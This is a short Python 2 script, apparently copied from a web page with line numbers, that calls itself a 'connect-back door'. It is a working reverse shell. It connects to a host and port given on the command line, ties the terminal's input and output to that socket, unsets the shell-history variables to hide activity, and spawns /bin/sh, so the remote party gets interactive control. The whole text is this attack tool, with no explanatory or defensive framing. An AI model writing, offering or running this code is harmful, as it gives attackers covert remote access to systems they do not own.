1. #!/usr/bin/python  
  2. import sys  
  3. import os  
  4. import socket  
  5. import pty  
  6. shell = "/bin/sh" 
  7. def usage(programname):  
  8.     print "python connect-back door" 
  9.     print "Usage: %s " % programname  
  10. def main():  
  11.     if len(sys.argv) !=3:  
  12.         usage(sys.argv[0])   
  13.         sys.exit(1)  
  14.     s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
  15.     try:  
  16.         s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))  
  17.         print "[+]Connect OK." 
  18.     except:  
  19.         print "[-]Can't connect" 
  20.         sys.exit(2)  
  21.     os.dup2(s.fileno(),0)  
  22.     os.dup2(s.fileno(),1)  
  23.     os.dup2(s.fileno(),2)  
  24.     global shell  
  25.     os.unsetenv("HISTFILE")  
  26.     os.unsetenv("HISTFILESIZE")  
  27.     pty.spawn(shell)  
  28.     s.close()  
  29. if __name__ == "__main__":  
  30.     main()